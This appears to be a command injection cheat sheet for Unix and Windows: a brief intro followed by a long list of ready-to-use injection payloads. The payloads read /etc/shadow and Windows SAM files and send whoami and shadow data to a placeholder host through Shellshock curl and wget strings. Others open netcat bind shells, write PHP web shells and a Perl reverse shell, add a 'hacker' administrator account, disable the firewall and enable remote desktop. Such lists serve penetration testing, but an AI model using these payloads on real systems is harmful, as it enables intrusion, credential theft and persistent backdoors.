Command injection for Unix and Windows Cheat sheet

OS command injection, also known as shell injection, is a security vulnerability that occurs when an attacker is able to execute arbitrary commands on the host operating system via a vulnerable application. This typically happens when an application passes unsafe user-supplied data to a system shell. The attacker manipulates the input data to include malicious commands, which the application then unwittingly executes with the same privileges as the application. This can lead to unauthorized access, data breaches, and complete system compromise. Preventative measures include input validation, use of parameterized queries, and employing security-focused development practices to ensure that user inputs are properly sanitized and handled.

Table of Contents

127.0.0.1 |cat /etc/passwd

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Unix Command injection

&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id

Windows Command injection

`
|| 
| 
; 
'
'"
"
"'
& 
&& 
%0a
%0a%0d
%0Acat%20/etc/passwd
%0Aid
%0a id %0a
%0Aid%0A
%0a ping -i 30 127.0.0.1 %0a
%0A/usr/bin/id
%0A/usr/bin/id%0A
%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
%20{${phpinfo()}}
%20{${sleep(20)}}
%20{${sleep(3)}}
a|id|
a;id|
a;id;
a;id\n
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://[Web IP]/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://[Web IP]/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://[Web IP]/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://[Web IP]/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
() { :;}; curl http://[Web IP]/.testing/shellshock.txt?vuln=12
| curl http://example.com/.testing/rce.txt
& curl http://example.com/.testing/rce.txt
; curl https://example.com/.testing/rce_vuln.txt
&& curl https://example.com/.testing/rce_vuln.txt
curl https://example.com/.testing/rce_vuln.txt
curl https://example.com/.testing/rce_vuln.txt ||`curl https://example/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://example.com/.testing/rce_vuln.txt ||`curl https://example/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
$(`curl https://example.com/.testing/rce_vuln.txt?req=22jjffjbn`)
dir
| dir
; dir
$(`dir`)
& dir
&&dir
&& dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
| dir C:\Users
; dir C:\Users
& dir C:\Users
&& dir C:\Users
dir C:\Users
;echo%20'<script>alert(1)</script>'
echo '<img src=https://example.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
| echo "<?php include($_GET['page'])| ?>" > rfi.php
; echo "<?php include($_GET['page']); ?>" > rfi.php
& echo "<?php include($_GET['page']); ?>" > rfi.php
&& echo "<?php include($_GET['page']); ?>" > rfi.php
echo "<?php include($_GET['page']); ?>" > rfi.php
| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php 
; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
| echo "<?php system($_GET['cmd'])| ?>" > cmd.php
; echo "<?php system($_GET['cmd']); ?>" > cmd.php
& echo "<?php system($_GET['cmd']); ?>" > cmd.php
&& echo "<?php system($_GET['cmd']); ?>" > cmd.php
echo "<?php system($_GET['cmd']); ?>" > cmd.php
;echo '<script>alert(1)</script>'
echo '<script>alert(1)</script>'// XXXXXXXXXXX
echo '<script src=https://example.com/.testing/xss.js></script>'// XXXXXXXXXXX
| echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
&& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
() { :;}; echo vulnerable 10
eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
eval('ls')
eval('pwd')
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
exec('ls')
exec('pwd')
exec('pwd');
exec('sleep 5')
exec('sleep 5');
exec('whoami')
exec('whoami');
;{$_GET["cmd"]}
`id`
|id
| id
;id
;id|
;id;
& id
&&id
;id\n
ifconfig
| ifconfig
; ifconfig
& ifconfig
&& ifconfig
/index.html|id|
ipconfig
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
ls
$(`ls`)
| ls -l /
; ls -l /
& ls -l /
&& ls -l /
ls -l /
| ls -laR /etc
; ls -laR /etc
& ls -laR /etc
&& ls -laR /etc
| ls -laR /var/www
; ls -laR /var/www
& ls -laR /var/www
&& ls -laR /var/www
| ls -l /etc/
; ls -l /etc/
& ls -l /etc/
&& ls -l /etc/
ls -l /etc/
ls -lh /etc/
| ls -l /home/*
; ls -l /home/*
& ls -l /home/*
&& ls -l /home/*
ls -l /home/*
*; ls -lhtR /var/www/
| ls -l /tmp
; ls -l /tmp
& ls -l /tmp
&& ls -l /tmp
ls -l /tmp
| ls -l /var/www/*
; ls -l /var/www/*
& ls -l /var/www/*
&& ls -l /var/www/*
ls -l /var/www/*
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
\n
\n\033[2curl http://[Web IP]/.testing/term_escape.txt?vuln=1?user=\`whoami\`
\n\033[2wget http://[Web IP]/.testing/term_escape.txt?vuln=2?user=\`whoami\`
\n/bin/ls -al\n
| nc -lvvp 4444 -e /bin/sh|
; nc -lvvp 4444 -e /bin/sh;
& nc -lvvp 4444 -e /bin/sh&
&& nc -lvvp 4444 -e /bin/sh &
nc -lvvp 4444 -e /bin/sh
nc -lvvp 4445 -e /bin/sh &
nc -lvvp 4446 -e /bin/sh|
nc -lvvp 4447 -e /bin/sh;
nc -lvvp 4448 -e /bin/sh&
\necho INJECTX\nexit\n\033[2Acurl https://example.com/.testing/rce_vuln.txt\n
\necho INJECTX\nexit\n\033[2Asleep 5\n
\necho INJECTX\nexit\n\033[2Awget https://example.com/.testing/rce_vuln.txt\n
| net localgroup Administrators hacker /ADD
; net localgroup Administrators hacker /ADD
& net localgroup Administrators hacker /ADD
&& net localgroup Administrators hacker /ADD
net localgroup Administrators hacker /ADD
| netsh firewall set opmode disable
; netsh firewall set opmode disable
& netsh firewall set opmode disable
&& netsh firewall set opmode disable
netsh firewall set opmode disable
netstat
;netstat -a;
| netstat -an
; netstat -an
& netstat -an
&& netstat -an
netstat -an
| net user hacker Password1 /ADD
; net user hacker Password1 /ADD
& net user hacker Password1 /ADD
&& net user hacker Password1 /ADD
net user hacker Password1 /ADD
| net view
; net view
& net view
&& net view
net view
\nid|
\nid;
\nid\n
\n/usr/bin/id\n
perl -e 'print "X"x1024'
|| perl -e 'print "X"x16096'
| perl -e 'print "X"x16096'
; perl -e 'print "X"x16096'
& perl -e 'print "X"x16096'
&& perl -e 'print "X"x16096'
perl -e 'print "X"x16384'
; perl -e 'print "X"x2048'
& perl -e 'print "X"x2048'
&& perl -e 'print "X"x2048'
perl -e 'print "X"x2048'
|| perl -e 'print "X"x4096'
| perl -e 'print "X"x4096'
; perl -e 'print "X"x4096'
& perl -e 'print "X"x4096'
&& perl -e 'print "X"x4096'
perl -e 'print "X"x4096'
|| perl -e 'print "X"x8096'
| perl -e 'print "X"x8096'
; perl -e 'print "X"x8096'
&& perl -e 'print "X"x8096'
perl -e 'print "X"x8192'
perl -e 'print "X"x81920'
|| phpinfo()
| phpinfo()
{${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
<?php system("cat /etc/passwd");?>
<?php system("curl https://example.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
<?php system("curl https://example.com/.testing/rce_vuln.txt?req=df2fkjj");?>
<?php system("echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");?>
<?php system("sleep 10");?>
<?php system("sleep 5");?>
<?php system("wget https://example.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
<?php system("wget https://example.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
:phpversion();
`ping 127.0.0.1`
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;${@print(md5(RCEVulnerable))};
${@print("RCEVulnerable")}
${@print(system($_SERVER['HTTP_USER_AGENT']))}
pwd
| pwd
; pwd
& pwd
&& pwd
\r
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
&& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
\r\n
route
| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10 
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15 
&& sleep 15
{${sleep(20)}}
{${sleep(20)}}
{${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
{${sleep(hexdec(dechex(20)))}} 
{${sleep(hexdec(dechex(20)))}} 
sysinfo
| sysinfo
; sysinfo
& sysinfo
&& sysinfo
;system('cat%20/etc/passwd')
system('cat C:\boot.ini');
system('cat config.php');
system('cat /etc/passwd');
|| system('curl https://example.com/.testing/rce_vuln.txt');
| system('curl https://example.com/.testing/rce_vuln.txt');
; system('curl https://example.com/.testing/rce_vuln.txt');
& system('curl https://example.com/.testing/rce_vuln.txt');
&& system('curl https://example.com/.testing/rce_vuln.txt');
system('curl https://example.com/.testing/rce_vuln.txt')
system('curl https://example.com/.testing/rce_vuln.txt?req=22fd2wdf')
system('curl https://example.com/.testing/rce_vuln.txt');
system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
systeminfo
| systeminfo
; systeminfo
& systeminfo
&& systeminfo
system('ls')
system('pwd')
system('pwd');
|| system('sleep 5');
| system('sleep 5');
; system('sleep 5');
& system('sleep 5');
&& system('sleep 5');
system('sleep 5')
system('sleep 5');
system('wget https://example.com/.testing/rce_vuln.txt?req=22fd2w23')
system('wget https://example.com/.testing/rce_vuln.txt');
system('whoami')
system('whoami');
test*; ls -lhtR /var/www/
test* || perl -e 'print "X"x16096'
test* | perl -e 'print "X"x16096'
test* & perl -e 'print "X"x16096'
test* && perl -e 'print "X"x16096'
test*; perl -e 'print "X"x16096'
$(`type C:\boot.ini`)
&&type C:\\boot.ini
| type C:\Windows\repair\SAM
; type C:\Windows\repair\SAM
& type C:\Windows\repair\SAM
&& type C:\Windows\repair\SAM
type C:\Windows\repair\SAM
| type C:\Windows\repair\SYSTEM
; type C:\Windows\repair\SYSTEM
& type C:\Windows\repair\SYSTEM
&& type C:\Windows\repair\SYSTEM
type C:\Windows\repair\SYSTEM
| type C:\WINNT\repair\SAM
; type C:\WINNT\repair\SAM
& type C:\WINNT\repair\SAM
&& type C:\WINNT\repair\SAM
type C:\WINNT\repair\SAM
type C:\WINNT\repair\SYSTEM
| type %SYSTEMROOT%\repair\SAM
; type %SYSTEMROOT%\repair\SAM
& type %SYSTEMROOT%\repair\SAM
&& type %SYSTEMROOT%\repair\SAM
type %SYSTEMROOT%\repair\SAM
| type %SYSTEMROOT%\repair\SYSTEM
; type %SYSTEMROOT%\repair\SYSTEM
& type %SYSTEMROOT%\repair\SYSTEM
&& type %SYSTEMROOT%\repair\SYSTEM
type %SYSTEMROOT%\repair\SYSTEM
uname
;uname;
| uname -a
; uname -a
& uname -a
&& uname -a
uname -a
|/usr/bin/id
;|/usr/bin/id|
;/usr/bin/id|
$;/usr/bin/id
() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://[Web IP]/.testing/shellshock.txt?vuln=13;curl http://[Web IP]/.testing/shellshock.txt?vuln=15;\");'
() { :;}; wget http://[Web IP]/.testing/shellshock.txt?vuln=11
| wget http://example.com/.testing/rce.txt
& wget http://example.com/.testing/rce.txt
; wget https://example.com/.testing/rce_vuln.txt
$(`wget https://example.com/.testing/rce_vuln.txt`)
&& wget https://example.com/.testing/rce_vuln.txt
wget https://example.com/.testing/rce_vuln.txt
$(`wget https://example.com/.testing/rce_vuln.txt?req=22jjffjbn`)
which curl
which gcc
which nc
which netcat
which perl
which python
which wget
whoami
| whoami
; whoami
' whoami
' || whoami
' & whoami
' && whoami
'; whoami
" whoami
" || whoami
" | whoami
" & whoami
" && whoami
"; whoami
$(`whoami`)
& whoami
&& whoami
{{ get_user_file("C:\boot.ini") }}
{{ get_user_file("/etc/hosts") }}
